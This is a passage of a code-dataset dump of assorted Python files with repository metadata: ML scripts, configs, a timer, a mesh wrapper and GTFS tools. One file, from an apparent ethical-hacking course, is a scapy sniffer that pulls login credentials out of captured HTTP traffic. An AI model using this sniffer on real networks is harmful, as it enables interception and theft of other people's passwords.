... | 32.293103 | 136 | 0.570208 | 478 | 3,746 | 4.410042 | 0.345188 | 0.011385 | 0.014232 | 0.02277 | 0.155598 | 0.121442 | 0.088235 | 0 | 0 | 0 | 0 | 0.02731 | 0.286439 | 3,746 | 115 | 137 | 32.573913 | 0.761317 | 0.015216 | 0 | 0.134021 | 0 | 0.010309 | 0.134527 | 0.008408 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.072165 | null | null | 0.113402 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1fded2389baa0f710851c0214c487f38445e67b1 | 3,540 | py | Python | predict_btc_future.py | benjaminshi02003220/Bitcoin_price_prediction | f4894614bafa0a4295d08d0b8f53d314c4262724 | [
"MIT"
] | 6 | 2018-03-11T13:47:22.000Z | 2018-07-03T05:03:48.000Z | predict_btc_future.py | benjaminshi02003220/Bitcoin_price_prediction | f4894614bafa0a4295d08d0b8f53d314c4262724 | [
"MIT"
] | null | null | null | predict_btc_future.py | benjaminshi02003220/Bitcoin_price_prediction | f4894614bafa0a4295d08d0b8f53d314c4262724 | [
"MIT"
] | 4 | 2018-03-27T15:38:40.000Z | 2018-07-07T20:04:29.000Z | # -*- coding: utf-8 -*-
"""
Created on Fri Mar 9 17:06:09 2018
@author: v-beshi
"""
import pyodbc
import pandas as pd
def get_agg_data():
con=pyodbc.connect('DRIVER={SQL Server};SERVER=ServerName;DATABASE=DB;UID=ID;PWD=Password')
raw_data=pd.read_sql('select * from dbo.BitcoinTradeHistory',con)
raw_d... | 38.478261 | 232 | 0.664124 | 587 | 3,540 | 3.72402 | 0.153322 | 0.163312 | 0.107045 | 0.115279 | 0.371455 | 0.352242 | 0.290942 | 0.195334 | 0.165142 | 0.07548 | 0 | 0.091275 | 0.158192 | 3,540 | 92 | 233 | 38.478261 | 0.642282 | 0 | 0 | 0.253521 | 0 | 0 | 0.205091 | 0.023141 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.014085 | 0.028169 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1fe4a5c508f25892277d20cf17891a3088bcee69 | 2,601 | py | Python | text_analytic_emotion_load_only.py | agussuarjaya/Text_Analytic_-Emotion- | 01cdf6f3661eaad2cb76111ebaee90ec50b592f0 | [
"MIT"
] | null | null | null | text_analytic_emotion_load_only.py | agussuarjaya/Text_Analytic_-Emotion- | 01cdf6f3661eaad2cb76111ebaee90ec50b592f0 | [
"MIT"
] | 1 | 2020-03-28T16:06:04.000Z | 2020-03-29T02:03:44.000Z | text_analytic_emotion_load_only.py | agussuarjaya/Text_Analytic_-Emotion- | 01cdf6f3661eaad2cb76111ebaee90ec50b592f0 | [
"MIT"
] | 2 | 2020-03-28T15:02:48.000Z | 2020-03-29T12:27:50.000Z | # -*- coding: utf-8 -*-
"""Text Analytic (Emotion) - load_only.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1ec4JMQZ5zoj-PB_a0mUkJWRKotgQSd9f
"""
"""
Text Analytic (Emotion) with TensorFlow
Copyright 2020 I Made Agus Dwi Suarjaya
... | 38.820896 | 189 | 0.685506 | 344 | 2,601 | 5.101744 | 0.642442 | 0.031339 | 0.032479 | 0.046154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02101 | 0.139946 | 2,601 | 66 | 190 | 39.409091 | 0.763523 | 0.249519 | 0 | 0 | 1 | 0.185185 | 0.504038 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.296296 | 0 | 0.296296 | 0.037037 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1fe7b45de50e9ea21f771782230c1d73959dc62a | 215 | py | Python | devmine/config/environments/production.py | sniperkit/snk.fork.devmine-core | 6ab43abd0c1041831ecb86dcba55ffd9e05ce615 | [
"BSD-3-Clause"
] | null | null | null | devmine/config/environments/production.py | sniperkit/snk.fork.devmine-core | 6ab43abd0c1041831ecb86dcba55ffd9e05ce615 | [
"BSD-3-Clause"
] | null | null | null | devmine/config/environments/production.py | sniperkit/snk.fork.devmine-core | 6ab43abd0c1041831ecb86dcba55ffd9e05ce615 | [
"BSD-3-Clause"
] | null | null | null | # server backend
server = 'cherrypy'
# debug error messages
debug = False
# auto-reload
reloader = False
# database url
db_url = 'sqlite:///devmine/db/devmine.db'
# echo database engine messages
db_echo = False
| 14.333333 | 42 | 0.730233 | 29 | 215 | 5.344828 | 0.586207 | 0.116129 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.167442 | 215 | 14 | 43 | 15.357143 | 0.865922 | 0.418605 | 0 | 0 | 0 | 0 | 0.327731 | 0.260504 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1fe923af70915246d98e2a502a9e9ce347a11d16 | 1,279 | py | Python | gen_screens.py | shurkova/currentVers | 25027f3f4faa9033b69041459f0785c1436c3f31 | [
"CECILL-B"
] | 1 | 2020-09-09T15:30:38.000Z | 2020-09-09T15:30:38.000Z | gen_screens.py | shurkova/currentVers | 25027f3f4faa9033b69041459f0785c1436c3f31 | [
"CECILL-B"
] | null | null | null | gen_screens.py | shurkova/currentVers | 25027f3f4faa9033b69041459f0785c1436c3f31 | [
"CECILL-B"
] | 11 | 2020-05-01T09:03:14.000Z | 2022-02-09T14:17:41.000Z | # generate 500 screens.
import random
objs = []
for i in range(500):
go_to = random.choice([2,3])
for j in range(go_to):
new_obj = {'name': 'non_exist', 'RBs': [], 'set': 'memory', 'analog': i}
width = round(random.random()*20)
hight = round(random.random()*10)
x = round(rando... | 51.16 | 704 | 0.56294 | 190 | 1,279 | 3.642105 | 0.326316 | 0.069364 | 0.098266 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038679 | 0.171228 | 1,279 | 24 | 705 | 53.291667 | 0.614151 | 0.016419 | 0 | 0 | 1 | 0 | 0.255387 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.066667 | 0 | 0.066667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1ff9642e37e0136fb4ef1901be1925b6d57a71f4 | 2,543 | py | Python | app/test/commonJSONStrings.py | rmetcalf9/dockJob | a61acf7ca52e37ff513695a5cc201d346fb4a7fa | [
"MIT"
] | 14 | 2018-03-28T20:37:56.000Z | 2020-08-30T13:29:05.000Z | app/test/commonJSONStrings.py | rmetcalf9/dockJob | a61acf7ca52e37ff513695a5cc201d346fb4a7fa | [
"MIT"
] | 79 | 2018-02-07T14:42:00.000Z | 2022-02-11T22:30:03.000Z | app/test/commonJSONStrings.py | rmetcalf9/dockJob | a61acf7ca52e37ff513695a5cc201d346fb4a7fa | [
"MIT"
] | 6 | 2018-05-08T21:49:40.000Z | 2021-07-30T13:47:37.000Z |
data_simpleJobCreateParams = {
"name": "TestJob",
"repetitionInterval": "HOURLY:03",
"command": "ls",
"enabled": True
}
data_simpleManualJobCreateParams = {
"name": "TestJob",
"repetitionInterval": "",
"command": "ls",
"enabled": False
}
data_simpleJobCreateExpRes = {
"guid": 'IGNORE',
"name": da... | 35.319444 | 152 | 0.773889 | 156 | 2,543 | 12.49359 | 0.467949 | 0.076963 | 0.029759 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004392 | 0.104601 | 2,543 | 71 | 153 | 35.816901 | 0.851559 | 0.024774 | 0 | 0.09375 | 0 | 0 | 0.422968 | 0.171856 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
1ffa89e42119c66f0b38cae0145de37c497cd8de | 896 | py | Python | 06_packet_sniffer/packet_sniffer.py | maks-nurgazy/ethical-hacking | 0f9f2b943b5afa9b11251270e4672e0965ec1769 | [
"MIT"
] | null | null | null | 06_packet_sniffer/packet_sniffer.py | maks-nurgazy/ethical-hacking | 0f9f2b943b5afa9b11251270e4672e0965ec1769 | [
"MIT"
] | null | null | null | 06_packet_sniffer/packet_sniffer.py | maks-nurgazy/ethical-hacking | 0f9f2b943b5afa9b11251270e4672e0965ec1769 | [
"MIT"
] | null | null | null | import scapy.all as scapy
from scapy.layers import http
def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packed)
def get_url(packet):
return (packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path).decode("utf-8")
def get_login_info(packet):
if packet.haslayer... | 27.151515 | 90 | 0.631696 | 115 | 896 | 4.808696 | 0.408696 | 0.081374 | 0.072333 | 0.065099 | 0.072333 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004367 | 0.233259 | 896 | 32 | 91 | 28 | 0.800582 | 0 | 0 | 0 | 0 | 0 | 0.121652 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.181818 | false | 0.090909 | 0.090909 | 0.045455 | 0.363636 | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
1ffc42584a05c85ceb4b5e649094a2917f366627 | 7,947 | py | Python | src/triangle.py | songrun/VectorSkinning | a19dff78215b51d824adcd39c7dcdf8dc78ec617 | [
"Apache-2.0"
] | 18 | 2015-04-29T20:54:15.000Z | 2021-12-13T17:48:05.000Z | src/triangle.py | songrun/VectorSkinning | a19dff78215b51d824adcd39c7dcdf8dc78ec617 | [
"Apache-2.0"
] | null | null | null | src/triangle.py | songrun/VectorSkinning | a19dff78215b51d824adcd39c7dcdf8dc78ec617 | [
"Apache-2.0"
] | 8 | 2017-04-23T17:52:13.000Z | 2022-03-14T11:01:56.000Z | import sys
import subprocess
import os
from numpy import asarray
#triangle_path = os.path.join( "C:\\Users\\Mai\\Dropbox\\Research\\Deformation\\src\\py\\triangle", "triangle.exe")
triangle_path = os.path.join( os.path.dirname( __file__ ), "triangle", "triangle" )
if not os.path.exists( triangle_path ):
raise Imp... | 36.287671 | 215 | 0.630804 | 1,093 | 7,947 | 4.446478 | 0.218664 | 0.039506 | 0.021399 | 0.004115 | 0.35144 | 0.267901 | 0.227572 | 0.168724 | 0.12716 | 0.111934 | 0 | 0.012422 | 0.250409 | 7,947 | 218 | 216 | 36.454128 | 0.803425 | 0.283252 | 0 | 0.195122 | 0 | 0 | 0.042153 | 0 | 0 | 0 | 0 | 0 | 0.073171 | 0 | null | null | 0 | 0.097561 | null | null | 0.158537 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
950a7c06be019526c5d13e887a482057df6c98cd | 758 | py | Python | UVa Online Judge/v128/12808.py | mjenrungrot/algorithm | e0e8174eb133ba20931c2c7f5c67732e4cb2b703 | [
"MIT"
] | 1 | 2021-12-08T08:58:43.000Z | 2021-12-08T08:58:43.000Z | UVa Online Judge/v128/12808.py | mjenrungrot/algorithm | e0e8174eb133ba20931c2c7f5c67732e4cb2b703 | [
"MIT"
] | null | null | null | UVa Online Judge/v128/12808.py | mjenrungrot/algorithm | e0e8174eb133ba20931c2c7f5c67732e4cb2b703 | [
"MIT"
] | null | null | null | # =============================================================================
# Author: Teerapat Jenrungrot - https://github.com/mjenrungrot/
# FileName: 12808.py
# Description: UVa Online Judge - 12808
# =============================================================================
import math... | 27.071429 | 79 | 0.387863 | 94 | 758 | 3.042553 | 0.553191 | 0.104895 | 0.083916 | 0.097902 | 0.181818 | 0.181818 | 0.181818 | 0.181818 | 0.181818 | 0.181818 | 0 | 0.094812 | 0.262533 | 758 | 27 | 80 | 28.074074 | 0.416816 | 0.391821 | 0 | 0 | 0 | 0 | 0.046154 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.0625 | false | 0 | 0.0625 | 0 | 0.125 | 0.1875 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
950c169f450a431d53eeadbbe5cd4c9bc80dac22 | 664 | py | Python | code/Attack/ParameterTypes/Types.py | TomasMadeja/ID2T | 77f51c074d1ff83c7d648ae62ecaed3e5cfde80c | [
"MIT"
] | 33 | 2018-11-21T12:50:52.000Z | 2022-01-12T05:38:12.000Z | code/Attack/ParameterTypes/Types.py | TomasMadeja/ID2T | 77f51c074d1ff83c7d648ae62ecaed3e5cfde80c | [
"MIT"
] | 108 | 2018-11-21T12:33:47.000Z | 2022-02-09T15:56:59.000Z | code/Attack/ParameterTypes/Types.py | TomasMadeja/ID2T | 77f51c074d1ff83c7d648ae62ecaed3e5cfde80c | [
"MIT"
] | 20 | 2018-11-22T13:03:20.000Z | 2022-01-12T00:19:28.000Z | import enum
class ParameterTypes(enum.Enum):
"""
Defines types for parameters. These types may be used in the specification of allowed parameters within the
individual attack classes. The type is used to verify the validity of the given value.
"""
TYPE_IP_ADDRESS = 0
TYPE_MAC_ADDRESS = 1
T... | 28.869565 | 111 | 0.712349 | 95 | 664 | 4.747368 | 0.694737 | 0.026608 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035928 | 0.245482 | 664 | 22 | 112 | 30.181818 | 0.864271 | 0.384036 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.0625 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
950c84ecd7d7ee95d6bf316b3a497327243be4e4 | 1,984 | py | Python | utils/error_handlrer.py | RobinPaspuel/YtechCode | 219a8492aa5be76c445f3d70f8b2ef74e81c188e | [
"MIT"
] | null | null | null | utils/error_handlrer.py | RobinPaspuel/YtechCode | 219a8492aa5be76c445f3d70f8b2ef74e81c188e | [
"MIT"
] | null | null | null | utils/error_handlrer.py | RobinPaspuel/YtechCode | 219a8492aa5be76c445f3d70f8b2ef74e81c188e | [
"MIT"
] | null | null | null |
from utils.error_with_arrows import *
##### ERRORS ########
class Error:
def __init__(self, initial_pos, final_pos, error_class, details):
self.initial_pos = initial_pos
self.final_pos = final_pos
self.error_class= error_class
self.details= details
def error_string(self):
... | 40.489796 | 106 | 0.655242 | 246 | 1,984 | 4.930894 | 0.207317 | 0.148392 | 0.150041 | 0.133553 | 0.49629 | 0.443528 | 0.42127 | 0.368508 | 0.340478 | 0.306678 | 0 | 0.001279 | 0.211694 | 1,984 | 49 | 107 | 40.489796 | 0.774297 | 0.003024 | 0 | 0.205128 | 0 | 0.025641 | 0.164334 | 0.025402 | 0 | 0 | 0 | 0 | 0 | 1 | 0.205128 | false | 0 | 0.025641 | 0 | 0.435897 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
951023fa012fa8c9f93693ace80f46cf9b0de998 | 10,524 | py | Python | regru_cloudapi/__init__.py | plvskiy/regru_cloudapi | e137a391f67b116f51b77b8e33755f8a6c3b170d | [
"MIT"
] | 1 | 2021-03-07T14:25:59.000Z | 2021-03-07T14:25:59.000Z | regru_cloudapi/__init__.py | plvskiy/regru_cloudapi | e137a391f67b116f51b77b8e33755f8a6c3b170d | [
"MIT"
] | null | null | null | regru_cloudapi/__init__.py | plvskiy/regru_cloudapi | e137a391f67b116f51b77b8e33755f8a6c3b170d | [
"MIT"
] | null | null | null | import json
import requests
from regru_cloudapi.utils import Errors
class CloudAPI(object):
def __init__(self, token=None):
self.token = token
self.api_url = 'https://api.cloudvps.reg.ru/v1'
self.HEADERS = {'Content-Type': 'application/json'}
if self.token is not None:
... | 33.515924 | 114 | 0.601292 | 1,353 | 10,524 | 4.464154 | 0.086475 | 0.077483 | 0.05298 | 0.056457 | 0.749669 | 0.70149 | 0.653974 | 0.621358 | 0.496854 | 0.470695 | 0 | 0.003829 | 0.280407 | 10,524 | 313 | 115 | 33.623003 | 0.793741 | 0 | 0 | 0.463964 | 0 | 0 | 0.13854 | 0.075352 | 0 | 0 | 0 | 0 | 0 | 1 | 0.13964 | false | 0 | 0.013514 | 0 | 0.31982 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
95150abc9ac26ff15d14447cfaa884078a1c20b0 | 2,215 | py | Python | tensorwatch/repeated_timer.py | sytelus/longview | 686e43cf187eaf55df18949359fd63d57dc337b2 | [
"MIT"
] | 3,453 | 2019-05-22T15:01:23.000Z | 2022-03-31T07:50:41.000Z | tensorwatch/repeated_timer.py | wgxcow/tensorwatch | 142f83a7cb8c54e47e9bab06cb3a1ef8ae225422 | [
"MIT"
] | 69 | 2019-05-22T17:11:20.000Z | 2022-03-03T09:32:38.000Z | tensorwatch/repeated_timer.py | wgxcow/tensorwatch | 142f83a7cb8c54e47e9bab06cb3a1ef8ae225422 | [
"MIT"
] | 375 | 2019-05-22T17:10:33.000Z | 2022-03-24T07:43:07.000Z | # Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
import threading
import time
import weakref
class RepeatedTimer:
class State:
Stopped=0
Paused=1
Running=2
def __init__(self, secs, callback, count=None):
self.secs = secs
self.callback = weakref.... | 31.197183 | 99 | 0.602709 | 252 | 2,215 | 5.111111 | 0.246032 | 0.069876 | 0.153727 | 0.188665 | 0.478261 | 0.322205 | 0.270186 | 0.209627 | 0.074534 | 0.074534 | 0 | 0.002611 | 0.308352 | 2,215 | 71 | 100 | 31.197183 | 0.83812 | 0.047856 | 0 | 0.327273 | 0 | 0 | 0.006176 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.127273 | false | 0 | 0.054545 | 0.018182 | 0.236364 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9515d87797c5883ffb46a5046c9382bbdb71bc8f | 1,037 | py | Python | pushpy_examples/client/tasks/schedule/c_local_schedule.py | briangu/push-examples | 3acf00d9f63523010ee3b70f3117d1be686c3335 | [
"MIT"
] | null | null | null | pushpy_examples/client/tasks/schedule/c_local_schedule.py | briangu/push-examples | 3acf00d9f63523010ee3b70f3117d1be686c3335 | [
"MIT"
] | null | null | null | pushpy_examples/client/tasks/schedule/c_local_schedule.py | briangu/push-examples | 3acf00d9f63523010ee3b70f3117d1be686c3335 | [
"MIT"
] | null | null | null | import time
from pushpy_examples.client.ex_push_manager import ExamplePushManager
m = ExamplePushManager()
m.connect()
class ScheduleTask:
def apply(self, control):
import schedule
import time
def job():
print(f"I'm working...{time.time()}")
schedule.clear()
... | 24.690476 | 69 | 0.633558 | 138 | 1,037 | 4.644928 | 0.449275 | 0.162246 | 0.141966 | 0.196568 | 0.084243 | 0.084243 | 0 | 0 | 0 | 0 | 0 | 0.023086 | 0.206365 | 1,037 | 41 | 70 | 25.292683 | 0.755772 | 0.257473 | 0 | 0.181818 | 0 | 0 | 0.128609 | 0.030184 | 0 | 0 | 0 | 0 | 0 | 1 | 0.090909 | false | 0 | 0.181818 | 0 | 0.318182 | 0.045455 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9516843db83caf5de14579548efc7a35483c1024 | 3,100 | py | Python | app/cache/basic.py | JunyongYao/flask-backend-seed | 9d16f56a9f34ebb1ec32eaab800b7ad6b10d0c9d | [
"MIT"
] | 9 | 2017-10-20T09:26:09.000Z | 2021-01-28T02:54:43.000Z | app/cache/basic.py | JunyongYao/flask-backend-seed | 9d16f56a9f34ebb1ec32eaab800b7ad6b10d0c9d | [
"MIT"
] | 2 | 2018-03-06T06:27:53.000Z | 2018-04-19T01:47:38.000Z | app/cache/basic.py | JunyongYao/flask-backend-seed | 9d16f56a9f34ebb1ec32eaab800b7ad6b10d0c9d | [
"MIT"
] | 2 | 2019-07-18T22:32:28.000Z | 2020-06-15T14:10:29.000Z | # -*- coding: utf-8 -*-
import logging
import pickle
from abc import ABCMeta, abstractmethod
from app import redis
from app.cache import set_dict_if_key_expire, set_data_if_key_expire, set_redis_dict_with_timeout, \
set_redis_data_with_timeout
from task.asyncTask import refresh_cache
class CacheABC(object, meta... | 32.978723 | 120 | 0.684516 | 410 | 3,100 | 4.895122 | 0.24878 | 0.03986 | 0.053812 | 0.056801 | 0.398605 | 0.285002 | 0.285002 | 0.285002 | 0.248132 | 0.248132 | 0 | 0.003793 | 0.234516 | 3,100 | 93 | 121 | 33.333333 | 0.841972 | 0.120645 | 0 | 0.424242 | 0 | 0 | 0.064754 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.212121 | false | 0 | 0.090909 | 0.015152 | 0.393939 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9520fdc9ead572486f8211683471cb168ee795b7 | 6,113 | py | Python | Spatial_Scripts/2_gtfs_arnold_stops.py | VolpeUSDOT/gtfs-measures | 0530d3c7193f10d591edd446d7e4985d03a7c48a | [
"CC0-1.0"
] | 3 | 2019-08-29T13:31:14.000Z | 2021-06-18T06:10:06.000Z | Spatial_Scripts/2_gtfs_arnold_stops.py | VolpeUSDOT/gtfs-measures | 0530d3c7193f10d591edd446d7e4985d03a7c48a | [
"CC0-1.0"
] | null | null | null | Spatial_Scripts/2_gtfs_arnold_stops.py | VolpeUSDOT/gtfs-measures | 0530d3c7193f10d591edd446d7e4985d03a7c48a | [
"CC0-1.0"
] | null | null | null | #-------------------------------------------------------------------------------
# Name: GTFS_Arnold_Stops
#
# Purpose: Associate stops with the route shapes that have already been snapped to ARNOLD
#
# Author: Alex Oberg and Gary Baker
#
# Created: 10/17/2016
#
# Last updated 6/15/2017
#---------------------------... | 33.773481 | 154 | 0.648454 | 809 | 6,113 | 4.662546 | 0.34487 | 0.040827 | 0.019088 | 0.013786 | 0.092524 | 0.058325 | 0.030223 | 0.030223 | 0.018028 | 0.018028 | 0 | 0.018091 | 0.177163 | 6,113 | 181 | 155 | 33.773481 | 0.731809 | 0.312612 | 0 | 0.048193 | 0 | 0.012048 | 0.356902 | 0.077441 | 0 | 0 | 0 | 0.005525 | 0 | 0 | null | null | 0 | 0.048193 | null | null | 0.108434 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
95291ef04782317ff7c65177e450a86cba814b66 | 1,224 | py | Python | examples/top_view.py | ryan-mooore/anvil-parser | f2da8e0b7ca84ace49da8c6784363d914b2ca93d | [
"MIT"
] | 70 | 2019-08-12T18:46:09.000Z | 2022-02-22T12:37:29.000Z | examples/top_view.py | ryan-mooore/anvil-parser | f2da8e0b7ca84ace49da8c6784363d914b2ca93d | [
"MIT"
] | 24 | 2020-01-20T04:15:59.000Z | 2022-03-13T20:49:55.000Z | examples/top_view.py | ryan-mooore/anvil-parser | f2da8e0b7ca84ace49da8c6784363d914b2ca93d | [
"MIT"
] | 33 | 2019-12-06T19:22:10.000Z | 2022-03-28T17:08:56.000Z | """
Generates a image of the top view of a chunk
Needs a textures folder with a block folder inside
"""
import sys
if len(sys.argv) == 1:
print('You must give a region file')
exit()
else:
region = sys.argv[1]
chx = int(sys.argv[2])
chz = int(sys.argv[3])
import os
from PIL import Image
import _path
... | 26.042553 | 63 | 0.555556 | 196 | 1,224 | 3.454082 | 0.362245 | 0.062038 | 0.079764 | 0.070901 | 0.079764 | 0.079764 | 0.079764 | 0.079764 | 0.079764 | 0.079764 | 0 | 0.036773 | 0.311275 | 1,224 | 46 | 64 | 26.608696 | 0.766311 | 0.077614 | 0 | 0.205128 | 1 | 0 | 0.076717 | 0.019625 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.128205 | 0 | 0.128205 | 0.051282 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
952d81863666bd0aa65ead158b3c1300284fe4e6 | 1,485 | py | Python | example/simple_example/example_models.py | kun-fang/avro-data-model | 1a657e20e666b534d0196888ae580ad7caddadeb | [
"MIT"
] | 9 | 2019-03-28T16:31:33.000Z | 2022-02-18T03:22:50.000Z | example/simple_example/example_models.py | kun-fang/avro-data-model | 1a657e20e666b534d0196888ae580ad7caddadeb | [
"MIT"
] | 3 | 2019-06-17T17:09:38.000Z | 2021-05-14T03:06:00.000Z | example/simple_example/example_models.py | kun-fang/avro-data-model | 1a657e20e666b534d0196888ae580ad7caddadeb | [
"MIT"
] | 2 | 2019-04-11T18:26:52.000Z | 2022-02-18T03:22:52.000Z | import datetime
import os
from avro_models import avro_schema, AvroModelContainer
EXAMPLE_NAMES = AvroModelContainer(default_namespace="example.avro")
DIRNAME = os.path.dirname(os.path.realpath(__file__))
@avro_schema(
EXAMPLE_NAMES,
schema_file=os.path.join(DIRNAME, "Date.avsc"))
class Date(object):
d... | 23.203125 | 71 | 0.641077 | 179 | 1,485 | 5.100559 | 0.27933 | 0.065717 | 0.0931 | 0.120482 | 0.260679 | 0.260679 | 0.214677 | 0.214677 | 0.214677 | 0.214677 | 0 | 0 | 0.220875 | 1,485 | 63 | 72 | 23.571429 | 0.78911 | 0 | 0 | 0.23913 | 0 | 0 | 0.078114 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.130435 | false | 0.065217 | 0.065217 | 0.086957 | 0.413043 | 0.021739 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
